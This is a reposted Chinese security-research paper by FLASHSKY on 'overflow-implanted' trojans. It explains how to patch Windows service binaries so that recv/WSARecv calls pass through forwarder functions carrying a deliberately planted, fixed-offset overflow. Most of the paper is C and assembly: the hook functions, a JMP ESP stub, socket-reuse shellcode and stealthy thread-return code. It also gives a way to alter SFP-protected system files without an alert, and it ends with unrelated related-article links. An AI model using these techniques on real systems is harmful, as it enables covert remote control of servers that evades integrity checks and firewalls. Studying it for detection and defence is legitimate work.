--------溢出植入型木马(后门)的原型实现 作者:FLASHSKY(原创)

SMB的NTLM认证过程与NTLM挑战的编程实现 //注:本文不涉及到NTLM具体的认证算法,但是给出通过SSPI的API实现的过程。    SMB协议可以说是WIN系统的核心协议,这里大致给大家讲解一下SMB认证登陆的过程:    1。协议解析栈    CLIENT:APP----->NET/MRP/RPC API------>MRXSMB.SYS------>NETBT.SYS---->TCP/IP                       阅读详情
 作者:FLASHSKY(原创)
作者邮箱:flashsky@xfocus.org
站点:    www.xfocus.net

申明:
作者无意实现一个木马,作者也不是一个木马开发者,只是提供一种思路:将缓冲区溢出攻击和木马/后门相结合的木马实现手段,
通过一个简单的原型来验证这种思路的可行性,并展示给大家看到这种实现方式的很多特点和优势。也提请安全研究人员对这种木马发展技术
给予较高的关注,提出查杀和避免的方法。作者提供关键代码段的技术实现的文档和演示来验证其实现,但不提供源代码和二进制程序,任何
人都可以利用此文进行自己的技术研究和代码实现,但是自己负担自己开发程序进行非法行为的法律责任。

一:溢出植入型木马(后门)的基本思路
1. 木马(后门)如何有效的隐蔽的思考?
木马和后门是在服务器端运行,实现与特定工作者进行通讯和执行服务请求的一个应用服务器程序。隐蔽则是非常重要的手段,当前主要涉及
到的隐蔽问题有:
? 应用/代码本身的隐蔽,避免事后查杀工具查出。避免文件完整性的检查等。
? 应用进程执行的隐蔽:如木马进程的隐蔽
? 自动启动代码相关的隐蔽:如W2K下需要修改注册表让自己在系统自动启动的时候启动,或填加到服务或驱动当中
? 通讯的隐蔽:如何隐蔽端口不被查出,如何饶过防火墙等问题

当前木马/后门发展的趋势是写入到驱动和内核的级别。通过拦截系统调用的服务来达到以上几个隐蔽的目的,如ROOTKIT等,但是这样的木马
/后门也存在着一些问题:
? 代码量多,在客户端执行的工作多。做的事情越多,其蛛丝马迹必然也就会越多。而且是在主动方式执行的,任何时候都在予以执行
,而不仅仅是在攻击者与其进行通讯的时候。
? 影响一定的性能:由于是写入内核和驱动的,受影响的面比较大。
? 编写需要高的技巧与技能。

2. 溢出植入型木马(后门)的思路
那么针对以上问题,我们会产生一个思路,就是按照这种方式来实现隐藏自己的木马/后门
? 被动工作式的木马,最好是制造一个可以远程利用的通用漏洞,利用这个通用漏洞来实现控制,这样只在与攻击者通讯的时候才会有
一定的迹象,而且服务器端留存的代码到最小,也就无所谓事后查杀,对系统的影响也非常的小。
? 特定程序的执行代码依赖于客户端传入的数据,而这些代码只存在于内存之中。
? 特定代码执行的机理尽量依赖于系统本身的正常的机制进行加载,和执行

3. 溢出植入型木马(后门)的优势
那么由上面的思路进行阐发,我们会想到,做植入一个漏洞的木马,那么为什么会选植入溢出漏洞呢?原因在于:
? 溢出漏洞存在操作系统通用性的优势:在很多的CPU平台和操作系统平台上,溢出都是一个普遍存在的漏洞,并且其原理都是一样的,
这样的木马很容易移植。
? 溢出漏洞本身难以被检查,具备非常好的隐秘性
? 溢出本身就可以做远程的控制,很多其他的漏洞是通过漏洞获得权限以后还需要通过其他的方式来进行控制。
? 溢出通过客户端把指令以代码的方式发送执行来获得控制,这些可执行代码数据可以根据需要进行一定的修改,本身具备一定的灵活
性,本身的攻击代码不以服务器端程序的方式留存,只在执行的时候存在于内存堆栈中,很难寻找。
? 溢出的代码执行是在正常服务的内部进行的,很容易就实现了进程的隐藏,而且注入到一个正常的应用中,其启动和控制无需要其他
修改注册表等方式。而且利用本身的端口和SOCKET很容易就能实现通讯的端口复用和SOCKET复用,实现端口隐藏和饶过防火墙。
? 溢出本身对程序的性能等影响很小。且是完全被动方式来工作的。
? 制造一个溢出漏洞比较简单和容易实现,即使是一个非常安全的应用程序,制造一个溢出BUG很容易,如一个收包的代码调用:
recv(sock,buf,xxxx,flag),只需要简单的调整XXX的大小的值就使得其存在了一个溢出的漏洞。

二:通用溢出漏洞的植入
1. 通用化溢出漏洞要解决的4个问题
但是真正以木马/后门方式给应用植入一个溢出漏洞而可以被很好的被广泛使用,必须要使得这个溢出具备通用化的问题,主要涉及到如下几个
方面的考虑:
? 溢出点定位
因为溢出的BUF的长度,位置和RETADDR的偏移关系对每个应用程序都是不定的,如果针对每个应用程序都需要手工调整这个溢出点的话,客户
端就无法实现通用性的代码,因此需要植入一个可溢出点固定的溢出漏洞。
? JMP ESP代码提供和定位
溢出代码通过RETADDR掌握到主动的时候,但由于SHELLCODE在的内存堆栈是动态分配的,是无法准确获得其地址的,那么需要借重于JMP ESP这
样的语句来实现跳转,有些应用可能有这样的语句,有些应用可能又没有这样的语句,而且地址不会是一样的,随不同系统和操作系统的版本
也都会变化,因此需要提供一个可固定的JMP ESP代码的地址给溢出SHELLCODE,来实现通用化。
? 溢出覆盖后对变量的引用访问违例
溢出以后,由于溢出的BUF到RETADDR之间很可能还存在其他的变量,在溢出的RETADDR返回以前,代码还在应用程序的上小文中执行,这些代码
很可能会引用这些变量,而这些变量很可能已经被我们的覆盖代码已经修改,从而导致访问违例,导致程序终止或被记录或进行异常处理代码
而无法执行我们的溢出代码并且暴露我们的行踪。
? 溢出覆盖后执行代码对溢出区的修改
溢出以后,由于溢出的BUF到RETADDR之间很可能还存在其他的变量,在溢出的RETADDR返回以前,代码还在应用程序的上小文中执行,这些代码
很可能会修改我们已经溢出覆盖的SHELLCODE的内容,这样在溢出以后就无法正确执行我们想要执行的SHELLCODE,一般来说还会引起异常导致
进程的意外终止和记录,暴露我们的行踪。

2. 实现植入通用化溢出漏洞的思路
那么如何有效解决以上问题,实现一个可通用化利用的溢出漏洞呢?我们来展开我们的思考:
a) 思路一:修改扩展堆栈(对于固定EBP/ESP引用有效)
在一个函数 CALL FUN的FUN执行空间下
假设一个应用程序的堆栈空间如下:
ESP----------》变量1到10 占有空间40个字节
        可被我们溢出的BUF1占有空间400个字节
            其他的变量11到20占有空间40个字节
EBP----------》RETADDR
传入的函数参数1到4  占有空间16

那么在进入FUNC执行的时候,其生成的汇编语句会如下:
PUSH  EBP
MOV  EBP,ESP  (这时候的ESP指向RETADDR的地址)
SUB   ESP,480   (480是变量总的占有空间的数)
。。。。。。。          (代码执行区)
ADD   ESP,480
PUSH  EBP

我们修改如上的汇编代码的语句为:
PUSH  EBP
MOV  EBP,ESP 
SUB   ESP,1480
。。。。。。。       
ADD   ESP,1480
PUSH  EBP

对应的堆栈空间是
ESP----------》变量1到10 占有空间40个字节
        可被我们溢出的BUF1占有空间400个字节
其他的变量11到20占有空间40个字节
多出的1000个字节的空间
EBP----------》RETADDR
传入的函数参数1到4  占有空间16

如果对参数的引用都是以EBP+XXX,对变量的引用都是以ESP+XXX的方式的话,我们会发现其对应用的影响没有,程序依然可以很好的执行,因
为参数和变量相对ESP,EBP的位置并没有发生变化。但是我们会发现如下几个有趣的地方:
1. 只需要修改SUB,ESP,XXX,ADD ESP,XXX的地方,都在函数的头尾地方出现,不影响程序大小,容易寻找。
2. 如果我们可以根据已知的 XXX的大小和BUF的位置,来自动计算和调整XXX的值,就可以实现溢出点定位的问题,如上面的例子,需要
溢出点定位到1000,我们把SUB ESP,480改成 SUB ESP,1040就可以达到定位点是1000的目的。(多出的40是在BUF上面的变量,这和BUF的位
置有关);
3. 如果增加的空间足够大,我们可以把SHELLCODE放在多出的这个空间里,就能有效的避免SHELLCODE被后续程序执行导致被修改的问题。
4. 如果增加的空间足够大,我们可以把SHELLCODE放在多出的这个空间里,那么对于前面的空间,由于溢出点位置已定,SHELLCODE不存
在被修改,因此可以对于变量10到20尽可能的有效的数据地址,来减少可能的后续代码的执行对其的引用导致的访问违例问题,虽然不能完全
解决,但至少提供了很大的可能性。

这是一个很好的思路,然而现实是残酷的,因为我们发现原先设想的一个前提在不同的编译器选项下是不成立的,既
对变量的引用是ESP+XXX,对传入参数的引用是EBP+XXX,不同的情况生成的汇编代码是复杂的,既有可能对变量和传入参数的引用全部是ESP+
XXX的方式,也有可能对变量和传入参数的引用全部是EBP+-XXX的方式。我们只得利用这个思路继续思考新的解决方法。

b) 思路二:植 入某个特定函数的转发函数
那么新的想法就是,针对可以溢出的函数,给他植入一个转发的函数。也就是说本来在一个过程中有对
recv(sock,buf,xxx,flag)的调用,把他修改成recvadd(sock,buf,xxx,flag),我们附加给应用一个recvadd函数,这个函数只是简单的对
recvadd(sock,buf1,xxx,flag)进行转发而已,但是其分配的内存空间和给定的XXX是不一致的,存在溢出的漏洞,那么对这个转发的recv进行
溢出就可以实现溢出控制了。

3. 植入的通用化通用化溢出漏洞的实现
a) 函数转发过程和优势
过程:
i. 开辟一个新的BUF1,长度固定,这样可提供溢出点固定的溢出
ii. 调用recv(sock,buf1,xxx,flag)进行收包
iii. 将buf1的内容拷贝回BUF,这样就不会影响正常的应用。
优势:
可以一举解决可通用化利用的溢出漏洞的四个问题。
iv. 因为在RECVADD函数中运行,BUF1的分配可以根据指定的溢出点进行分配。并可保证足够的溢出空间,使得SHELLCODE就在BUF1内存放
而不影响EBP后面的变量
v. RECVADD中可以放置JMP ESP的变形代码,解决JMP ESP的定位问题
vi. RECVADD只提供BUF1,接收以后再拷贝回BUF,这样不会涉及到问题3和问题4
vii. 不会影响程序的正常应用,而且附加的函数本身功能比较简单,非常容易实现,代码量非常小,1,2百字节以内,而如W2K的PE文件格
式下节是以0X1000H对齐的,因此有足够的空间加入到PE文件正常的节中而不影响其大小,其他参数的变化。
b) 制造转发函数的通用漏洞
下面就是最初步的一个对RECV进行转发的函数的C代码
DWORD WINAPI recvadd(SOCKET s,char FAR* buf,int len,int flags)
{
int num;
char buf1[0x1190];
if(len>0x1000)
num = recv(s,buf,len,flags); //说明无法通用溢出,因为要不影响正常应用
else
{
num = recv(s,buf1,0x11a9,flags); //扩大到标准指定的溢出点上
if(num>0)                   //判断是否收到包
{
if(num<=len)   //判断是否溢出,没有则拷贝内存
memcpy(buf,buf1,num);
else                  //提供JMP ESP的地址,这个地址随植入时候自动计算并替换掉:1010101H
{
num=-1;
_asm{
mov eax,1010101H
mov [esp+11A4H],eax;
}
}
}

}
return num;
}

c) 可通用化的利用
i. 检测溢出和溢出返回地址
判断溢出很简单,只需要利用RECV的返回接收字节数字和给定的LEN进行比较就可以,当然也可以利用溢出地址的编码检查是否是自己特定的
溢出。
另外就是扩展了足够的BUF1以后,SHELLCODE完全就可以放在BUF1中而无需覆盖EBP下面的内容了,这样就为有效的线程安全返回提供了条件。
因为一个我们的SHELLCODE完成任务以后,这个溢出线程的处理是非常麻烦的,如果中断掉,对有些应用则会引起异常,如DNS SERVER等就不
会工作,而有些这会中断和记录下来,最理想的方式是保存环境完全又返回到原来应该返回点继续执行。
ii. JMP ESP代码
我们在附加函数的尾部提供一个如下的汇编代码的机器代码:
SUB ESP,XXXX
JMP ESP
(当然为了隐蔽,可以生成其他等效功能的变形代码,如
MOV EAX,ESP,
JMP EAX)
然后在植入的时候自动计算这个附加代码的地址,替换掉RECVADD的程序代码中,在运行检测到溢出的时候,就将这个地址替换到有效的返回
地址上,实现溢出的SHELLCODE的跳转。

iii. 其他需要利用的环境变量的保护
同时考虑到如下因素,因在替代函数中提供对如下变量的保护
? SOCKET,便于SOCKET复用
? RETADDR:便于SHELLCODE完成以后,线程实现安全的返回
? 本函数调用传入的参数大小,以实现SHELLCODE中对ESP/EBP计算安全返回
? 执行前保存函数体外的需要保存的积存器,以实现安全返回

那么下面就是一个考虑了以上情况的对RECV进行转发函数的汇编代码
DWORD WINAPI recvadd(SOCKET s,char FAR* buf,int len,int flags)
{
_asm{
mov eax,[esp+0cH]                 //检查LEN是否是大于1000H的应用,
cmp eax,1000H                    //这样的应用我们按1000H做溢出点
jg recv                         //可能会破坏正常的应用
sub esp,119ch                     //扩展堆栈到定好的溢出点
mov eax,[esp+11a0h]           //保存SC备SHELLCODE使用
mov [esp],eax
mov eax,[esp+119ch]           //保存返回地址供SHELLCODE执行完
mov [esp+4],eax               //以后进行返回
mov dword ptr [esp+8],10h      //保存压入参数的占用堆栈的大小
push    esi                      //保护外围积存器
push    edi
push    ecx
push    edx
mov    eax, [esp+11Bch]
push    eax
mov     esi, [esp+11Bch]
push    11A9h                  //替换成可溢出的值
lea     ecx, [esp+24H]
push ecx
mov eax, [esp+11Bch]
push eax
call    recv                   //recv转发
test    eax, eax
jle     loc_2
cmp     eax, esi              //判断是否接收到包
jle     loc_1
mov edx,[esp+11Ach]
xor eax,eax
dec     eax
cmp edx,0x90909090    //比较规定的溢出地址值
jne loc_2
mov eax,1010101H      //提供JMP ESP的地址
mov [esp+11AcH],eax;
jmp loc_2
loc_1:                        //BUF1的内容拷贝回BUF
mov     ecx, eax
mov     edi, [esp+11B4h]
mov     edx, ecx
lea     esi, [esp+1cH]
shr     ecx, 2
repe movsd
mov     ecx, edx
and     ecx, 3
repe movsb
loc_2:
pop edx          //弹出保护的外围积存器
pop     ecx
pop     edi
pop     esi
add esp,119ch
retn    10h           //如果发生溢出则会到指定的程序点上执行
}
}
JMPCODE:
_asm{
sub esp.0x1400
jmp esp
}
4. 木马(后门)的在W2K下的实现
我们已经有了一个完备的转发函数来植入通用化的溢出漏洞了,那么如何这个后门和木马如何植入应用呢?下面我们就来考虑这个方面的问题
:
a) 整个植入代码的结构如下
[RECVADD地址] :
存放真正的RECVADD函数的地址,这样替换对方的JMP [RECV]的[RECV]地址值为这个地址值就能达到实际的JMP [RECV]的效果
[RECVADD函数]:真正的执行代码区
[RECV跳转函数]:保存真正的RECV的跳转地址JMP [RECV]和CALL [RECV]的地址,使得程序可以转发真正的调用
[JMP ESP代码]:存放溢出执行时的JMP ESP执行代码

b) PE文件节点分析和代码的附加
? 分析节接点空间是否有足够的位置放置植入的代码
? 在导入代码节和执行代码节的头部里找到对应的需要替换的函数(此例为RECV函数的地址)
1. 通过GetProcAddress获取recv的地址,在进程空间的导入代码节里查找对应地址的导入地址
? 在代码区内找到jmp [recv]或call [recv]的地址,记录下来
? 停止服务,以写打开文件
? 替换jmp [recv]或call [recv]成jmp [recvadd]或call [recvadd]
? 附加自己的代码
c) 附加代码的自动计算和替换
涉及到自动计算的地方有如下几处
RECVADD函数本身的位置
RECV函数的真正位置的计算和替换
JMP ESP代码的位置计算和替换
d) 调用函数分析和导入表的替换
存在两种调用形式,程序需要分别分析和处理
i. JMP [FUN]的替换
进程在调用FUN的时候,是CALL [FUN],[FUN]为JMP [FUN]的地址,这里面的 [FUN]中才为真正的FUN的导入表中的对应函数的地址
这个只需要替换JMP [FUN]就可以达到对应用的所有调用进行替换的目的
ii. CALL [FUN]的替换
进程在调用FUN的时候,是CALL [FUN],[FUN]为FUN的导入表中的对应函数的地址
这个需要替换所有的CALL [FUN]才能达到对应用的所有调用进行替换的目的

三:通用的远程溢出的SHELLCODE
1. 函数定位处理
先通过对内存的搜索获得GetProcAddress的地址,来加载需要使用的API。这个都是属于通用的技巧了。

2. 通用的SOCKET复用
这里讨论的SOCKET复用是在W2K环境下的,针对阻塞式SOCKET情况下的。
a) SOCKET复用的意义
i. 服务器端无需开端口,饶过端口检查
ii. 使用服务本身的端口进行通讯,被动直接使用客户端的SOCKET,可以有效的饶过防火墙
b) 基本思路
i. 获得有效的SOCKET描述符
可以通过SOCKET从某个值递增,然后通过getpeername判断是否是一个SOCKET和对应是否是自己的IP地址的SOCKET
ii. 判断关联的SOCKET描述符的进程
在获得SOCKET描述符存在的问题是,由于溢出是在代码执行返回时才掌握控制权,这个时候很可能SOCKET已被正常的关闭掉了。所以可能需要
我们连2个上去,一个发出溢出包,一个处于对方RECV停等的状态,如果第一个SOCKET已经关闭的话,可以判断第二个来进行复用处理,这就
需要SHELLCODE做如下的判断:
1. 有可能第一个也没被关闭,那么需要有效判断出第二个来,只要通过检查线程的ID是否和当前的匹配就可以
2. 使用第二个SOCKET以前,需要先悬挂起这个SOCKET处理的线程,否则无法正常使用SOCKET
在阻塞式情况下,RECV的代码会停留在NtWaitForSingleObject的代码上,那么我们通过判断线程环境上下文的EIP地址就基本可以获得大致的
对应的线程,但是也有可能有其他的线程处于同一位置,那么我们可以搜索有效的线程的堆栈空间是否存在对应的SOCKET描述符就可以基本确
定了。
下面就是基本实现的C代码:
cid = GetCurrentThreadIdadd();
pid = GetCurrentProcessIdadd();
for(hid=0x50;hid<0x10000;hid=hid+4)  //SOCKET描述符从0X50开始
{
num= sizeof(addr);
if(getpeername ((SOCKET)hid,&addr,&num)==0)
{
if(*(DWORD *)(addr.sa_data+2)==0x3c00a8c0)//对应IP
{
//发送字节看是否是已经关闭的SOCKET
lBytesRead = send((SOCKET)hid,strcmd,4,0); if(lBytesRead>0)
{
for(aid = 0;aid<0x10000;aid=aid+4)
{
if(cid!=aid)
{
OpenThreadadd(THREAD_ALL_ACCESS,FALSE,aid);
if(p1!=NULL)
{
isok=NtQueryInformationThreadadd(p1,0,prothrinfo,0x1c,&num);
if(isok==0)
{
if(*(DWORD *)(prothrinfo+0x8)==pid)
{
  SuspendThreadadd(p1);
context.ContextFlags = CONTEXT_FULL;
GetThreadContextadd(p1,&context);
if(context.Eip==((DWORD)NtWaitForSingleObjectadd+11))
{
eip = context.Esp;
for(di=0x80;di<0x170;di=di+4)
{
if(*(DWORD *)(eip+di)==(SOCKET)hid)
{
//下面就可以正常处理了
}
//不是的则恢复线程的执行和循环
c) 但是以上对线程的判断方法只对阻塞式的SOCKET有效,对于非阻塞式的SOCKET却无法判断,但对于函数替换这种方式植入的溢出来说
,非常幸运的是:可以确保这个SOCKET在溢出控制的时候肯定不会被关闭,因此我们完全可以只通用SOCKET的getpeername函数尝试就可以判
断这个SOCKET描述符了,当然我的例子代码采用了由植入程序保存这个环境变量的方法来复用这个SOCKET

3. 对环境变量的正常引用
其实我们把三个保存的环境变量都放在溢出的BUF1之前的,相对于跳转执行的SUB ESP,XXX,JMP ESP后,这个地址是不固定的,可能随着被
溢出函数在返回之前的RETN XXX的XXX而变化,因此要用一个固定的ESP+XXX来引用这几个保存的环境变量,需要我们更该对应的SUB ESP,XXX
,JMP ESP的XXX大小,幸运的是,对于每个固定的替换API这个是固定的,因此我们完全可以针对每一个替换的函数写固定的XXX在内,因为对
不同的替换函数其替换函数的内容也会变化。
我们的溢出植入只对函数调用级别的通用,也就是说无论应用A和B运行在不同的版本的系统上,只要调用了对应的函数C,则对A和B的C函数的
溢出植入都是通用的。

4. 线程完毕后的处理思考
a) 删除或终止线程
这样虽然简单,但是容易引起异常和记录。
b) 保存线程环境返回原调用点
那么需要保存和计算如下的内容:
保存溢出SHELLCODE执行前的积存器内容
保存需要返回的地址值
计算恢复后的ESP/EBP,好放入对应的地址值。
最大的考虑则是:在恢复积存器后,还需要使用积存器读取返回地址值并放入返回前的ESP和读取函数在溢出前提供的函数参数大小使得计算正
常的ESP,因此对于积存器的保护需要一点技巧。
c) 线程安全返回的代码
sub esp,0x13fc          //先开辟一个空间,保护几个特殊的积存器
push ebp
push ecx               //因为要二次用到,所以在此处保存eax.ecx
push  eax
sub  esp,xxx       //这儿开辟的堆栈空间才是真正的SHELLCODE使用的变量存放的空间
push  ebx              保存其他的积存器
push  ecx
push  edx
push  esi
push  edi
。。。。。。。。。。。。。。。。SHELLCODE功能代码
执行完毕以后实现县城的安全返回:
TerminateProcess (ProcessInformation.hProcess,0); //杀掉打开的CMD进程
_asm{
mov eax,k             //K是溢出函数传入的参数长度
mov ebx,retaddr        //返回地址
mov ecx,28FCH       //ESP回复到开辟的地方
add ecx,eax          //考虑溢出函数传入的参数长度的ESP地址
sub ecx,4             //回到应该放置RET的ESP处
mov [esp+ecx],ebx //存放真正的返回地址
pop  edi            //恢复通用的积存器
pop  esi
pop  edx
pop  ecx
pop  ebx
pop  edi
pop  esi
pop  ebx
add esp,4e4h //ESP减少SHELLCODE使用的堆栈空间
mov  [esp+23F8H],eax   //写入K的值,在恢复积存器以后就可以无需再使用其他积存器来使用了
pop ebp        //弹出几个保护的特殊积存器
pop eax
pop  ecx
add esp,23ECH   //到存放K的堆栈上,这样就可以用[ESP]来引用这个值而无需使用其他积存器,导致已恢复的积
存器又被破坏掉
add esp,[esp]    //利用[ESP]引用K实现ESP+K,来计算真正的ESP值
sub esp,4   //提前4字节,也就是RETADDR的地方。利用RET进行返回
ret
}

5. 演示远程SCOKET复用SHELLCODE溢出TEST服务

四:阐发
1. 饶过WIN2K的系统文件完整性保护机制(SFP)
我们的后门和木马主要的目标是修改运行具备特权的服务和系统文件,但是大家都知道在WIN2K以后,WINDOWS都增加了SFP机制来保护系统文件
的完整性。那么只有能有效的修改我们需要植入的受系统保护的文件,我们才能达到目的。
网上有很多删除和更新受保护文件的方法,但是基本思路是同步删除掉备份的/WINNT/system32/dllcache/和/WINNT/ServicePackFiles/i386/
下的对应文件,但是这样会导致系统跳出一个无法正常恢复受保护文件的警告框出来,这样就会暴露我们的行踪。
其实修改受SFP保护的文件又不引起这个警告框的方法非常简单,就是:同时独占打开这两个备份的文件,然后再修改受系统保护的文件,修改
完毕之后,过一段时候再关闭独占打开这两个备份的文件,这样文件就可以被正常修改而已不会引发任何的提示。
当然,还有很多其他的方法来达到这个目的,如修改对应文件的校验标志等,不过这种方法是最简单和有效的。
a) 演示删除和更改WIN2K的受保护的系统文件的方法
2. 通用化测试
以上就是一个基本溢出植入型木马实现的原形,那么我们最后用实际的测试来验证一下我们的这个原型是否通用和达到我们预期的目的。我们
来做2个实际应用和服务的植入溢出的实验和通用这个通用化溢出实现我们的远程控制。
a) 演示DNS SERVER植入recv转发的远程溢出漏洞和控制
制约条件:
    使用和植入溢出TEST服务一样的SHELLCODE和客户端
使用和植入溢出TEST服务一样的木马执行程序和RECV的转发函数
    唯一不同是给定的木马执行程序的参数(主要指明需要植入溢出的程序等信息)
1. 演示植入前发送过大包失败
2. 演示植入后,程序在发送包已经到达我们的转发程序
3. 演示不影响正常的应用
4. 演示溢出后的控制和正常的返回,服务继续可用和可继续溢出利用

b) WSARecv函数的转发的溢出实现和演示
那么对于RECV转发溢出大家很熟悉了,但这是否限制了我们的应用呢?因为多数的应用是用WSARECV函数来实现的,其实我们先就有一个结论
是:
我们的溢出植入只对函数调用级别的通用,也就是说无论应用A和B运行在不同的版本的系统上,只要调用了对应的函数C,则对A和B的C函数的
溢出植入都是通用的。针对不同的函数,只要这个函数形如FUN(BUF,LEN),LEN是指定BUF长度的函数,其实都可以被植入溢出漏洞的。
那么我们就来实现一下对WSARECV的溢出植入和控制,例子就是大家熟悉的SQL SERVER的SOCKET。
i. 通用的WSARECV的替换函数
int WINAPI WSARecvadd(SOCKET s,LPWSABUF buf,DWORD len,LPDWORD num,LPDWORD flags,LPWSAOVERLAPPED lpOverlapped,
LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionROUTINE)
{
_asm{
mov eax,[esp+08H]
mov eax,[eax]
cmp eax,1000H
jg WSARecv               //判断是否允许在空间范围内溢出
sub esp,119ch                //扩展堆栈
mov eax,[esp+11a0h]     //保护环境变量
mov [esp],eax
mov eax,[esp+119ch]
mov [esp+4],eax
mov dword ptr [esp+8],1Ch
push    ebx                //保护积存器
push    esi
push    edi
mov     ebx, [esp+11B0h]   //保留WSABUF中长度和地址的参数
mov esi, [ebx+4]
mov eax, [ebx]
add esi,eax
lea     edi, [esp+18H] //保存WSABUF的BUF到BUF1中后内容,避免被溢出覆盖后不能恢复
add edi,eax
mov ecx,1194H
sub ecx,eax
mov eax,ecx
shr     ecx, 2
repe movsd
mov     ecx, eax
and     ecx, 3
repe movsb
mov esi, [ebx+4]
mov edi, [ebx]
mov dword ptr [ebx],1194H  //扩大 WSABUF长度使得其能被溢出
mov     eax, [esp+11c4h]
push eax
mov     eax, [esp+11C4h]
push eax
mov     eax, [esp+11C4h]
push eax
mov     eax, [esp+11C4h]
push eax
mov     eax, [esp+11C4h]
push    eax
push ebx
mov eax, [esp+11C4h]
push eax
call    WSARecv    //转发到WSARECV
push ecx                //保存WSARECV返回的有意义的三个积存器
push eax
push edx
mov edx,[esi+1190H]  //获得WSABUF的BUF,如果溢出这写入的返回地址值
mov ecx,[esp+11b4h]  //获得如果溢出,则需要恢复回去的内容
mov [esi+1190H],ecx  //恢复到BUF中
mov ecx,[esp+1ch]    //读取保留的返回地址
mov [esp+11b4h],ecx  //恢复到ESP对应的返回地址上,避免被溢出覆盖,因先保存WSABUF的时候这个地址已
经被覆盖了
mov [ebx],edi       //写入WSABUF正常的LEN值
test    eax, eax         //检查是否接收到包
jne     loc_4
mov ebx,[esp+11C4H] //获得收到包的大小
mov ecx,[ebx]
cmp     ecx, edi        //检查是否溢出
jle     loc_4
cmp edx,0x90909090  //检查溢出传来的返回地址是否和我们规定的一致
jne loc_4
xor ebx,ebx
mov ecx,edi
lea     edi, [esp+24H] //拷贝SHELLCODE到我们的BUF1,同时恢复WSABUF中其他变量被覆盖的值,避免以后SHELLCODE
返回后导致异常。
loc_1:
cmp ebx,1190H
jge loc_3
cmp ebx,ecx
jge loc_2
        mov eax,[esi+ebx]
mov [edi+ebx],eax
add ebx,4
jmp loc_1
loc_2:
mov edx,[edi+ebx]
        mov eax,[esi+ebx]
mov [edi+ebx],eax
mov [esi+ebx],ebx
add ebx,4
jmp loc_1
loc_3:
mov ebx,1010101H           //写入JMP ESP的地址,1010101H会在植入时候通过计算进行正确的替换
mov [esp+11B4H],ebx;
loc_4:
pop edx
pop eax
pop ecx
pop     edi
pop     esi
pop ebx
add esp,119cH
retn    1ch
}
}
ii. 重载异步IO的SOCKET的内存置换的问题
这个替代函数比RECV函数要复杂一些,因为这个SOCKET是一个重载异步IO的SOCKET的,在RECV的时候,其内存是不允许置换的,否则这个重载
异步IO的SOCKET就会成为一个非重载异步IO的SOCKET,这样就会影响正常的应用。同时对执行WSARECV后被修改的积存器的保护也非常重要。
而且返回的值不同,其引用的地址也不同。因此采用了使用原BUF但扩大LEN导致溢出的方法,为了正常返回,则将其可能被溢出覆盖的内容
复制到BUF1上,如果真的发生溢出以后,再将溢出内容拷贝到BUF1,把BUF1的保存内存拷贝到被溢出的BUF上,保证程序的正常运行。
iii. 演示SQL SERVER植入WSARecv转发的远程溢出漏洞和控制
制约条件:
    使用和植入溢出TEST服务一样的SHELLCODE和客户端
   使用和植入溢出TEST服务一样的木马执行程序,只修改WSARECV的转发函数体
   给定的木马执行程序的参数(主要指明需要植入溢出的程序等信息)
1. 演示植入前发送过大包失败
2. 演示植入后,程序在发送包已经到达我们的转发程序
3. 演示不影响正常的应用
5. 演示溢出后的控制和正常的返回,服务继续可用和可继续溢出利用

c) 只修改内存影象避免文件完整性检查
最后的讨论是,同样,这样的原理可以只利用到对只修改内存影象来到达溢出植入的目的,这样就可以避免文件完整性检查,不过当服务重启
以后这个后门和木马则不可利用了。
2024 年如何成为一名成功的漏洞赏金猎人?成长总结以及相关资料推荐 阅读详情

相关推荐

flashsky我的安全之路

著名计算机安全专家flashsky讲述自己的奋斗经历。

在网络安全领域,比较牛的中国黑客有哪些?

在网络安全领域,比较牛的中国黑客有哪些?

分享Python知识 2104

内存映射型内核级木马的研究与改进

内存映射型内核级木马的研究与改进.pdf

汇编—汇编指令

1.汇编指令 复合指令: lea esp,[esp-4] mov [esp],eax 使用 vc6 调试观察内存的变化: 这两条指令的组合就是我们学的新指令:push eax。 mov eax,[esp] lea esp,[esp+4]就是指令 pop eax。 在 80x86CPU 中,eip 寄存器指向的是将要执行代码的位置, 代码本身也是数据,也是由二进制构成。 Intel 指令的长度不同,...

怪味巧克力的博客 684

生产安全视角下的安全技术体系方法论---方兴(FlashSky) 全知科技CEO

生产安全视角下的安全技术体系方法论---方兴(FlashSky) 全知科技CEO

python等级考试——一级知识点汇总(不包含turtle画图)

本篇文章是针对中国电子学会青少年编程等级考试的,适合初学者以及青少年编程学习者

weixin_65350557的博客 9024

溢出植入型木马(后门)的原型实现 作者:FLASHSKY(原创)

作者:FLASHSKY(原创)作者邮箱:flashsky@xfocus.org站点:    www.xfocus.net申明:作者无意实现一个木马,作者也不是一个木马开发者,只是提供一种思路:将缓冲区溢出攻击和木马/后门相结合的木马实现手段,通过一个简单的原型来验证这种思路的可行性,并展示给大家看到这种实现方式的很多特点和优势。也提请安全研究人员对这种木马发展技术给予较高的关注,提出查杀和避免的方

成功者找方法,失败者找借口! 2300

深入理解HanLP1.x,填平可能遇到的坑

提取指定数量的摘要。自定义词典为什么要单独领出来讲呢?因为在我们的业务开发中,可能分词的效果并不理想,需要定制自己的词库,索引更加常用。例如:小米su7特斯拉modelY比亚042025款6575767670908我们需要分出小米su72025款等词。我们分别看看用字典和不用字典的效果。

static_coder的博客 977

通过一段汇编,加深对寄存器ESP和EBP的理解

一直对寄存器ESP和EBP的概念总是有些混淆,查看定义ESP是栈顶指针,EBP是存取堆栈指针。还是不能很透彻理解。之后借于一段汇编代码,总算是对两者有个比较清晰的理解。 下面是按调用约定__stdcall 调用函数test(int p1,int p2)的汇编代码 ;假设执行函数前堆栈指针ESP为NN push   p2    ;参数2入栈, ESP -= 4h , ESP = NN - 4h

zsJum的专栏 3万+

.NET 4.0下HttpWebRequest请求HTTPS报错?试试这个注册表修改方案

本文深入解析.NET 4.0下HttpWebRequest请求HTTPS报错问题,提供注册表修改方案以解决'基础连接已经关闭'错误。通过调整SchUseStrongCrypto注册表项,强制使用TLS 1.2等现代加密协议,确保安全连接。适用于企业环境部署和长期维护建议。

weixin_29310631的博客 355

中国传奇黑客一览表

1994年前后,国内出现了最早一批黑客,其中以龚蔚、天山等顶级黑客为代表;2000年左右,第二代黑客出现,他们的技术特点与前辈相仿,深入研究网络安全技术,有自己的理论和产品;而后第三代黑客的代表是“中国红客联盟”,他们在中美黑客大战中频频见诸媒体。时至今日,三代成名的黑客众多,不胜枚举。接下来就盘点一下非科班出身的黑客大佬!这几个大佬不是科班出身,所学专业和计算机一点也不搭边,但是却成为了业内知名的黑客大佬!Flashsky:方兴。

QIANDXX的博客 882

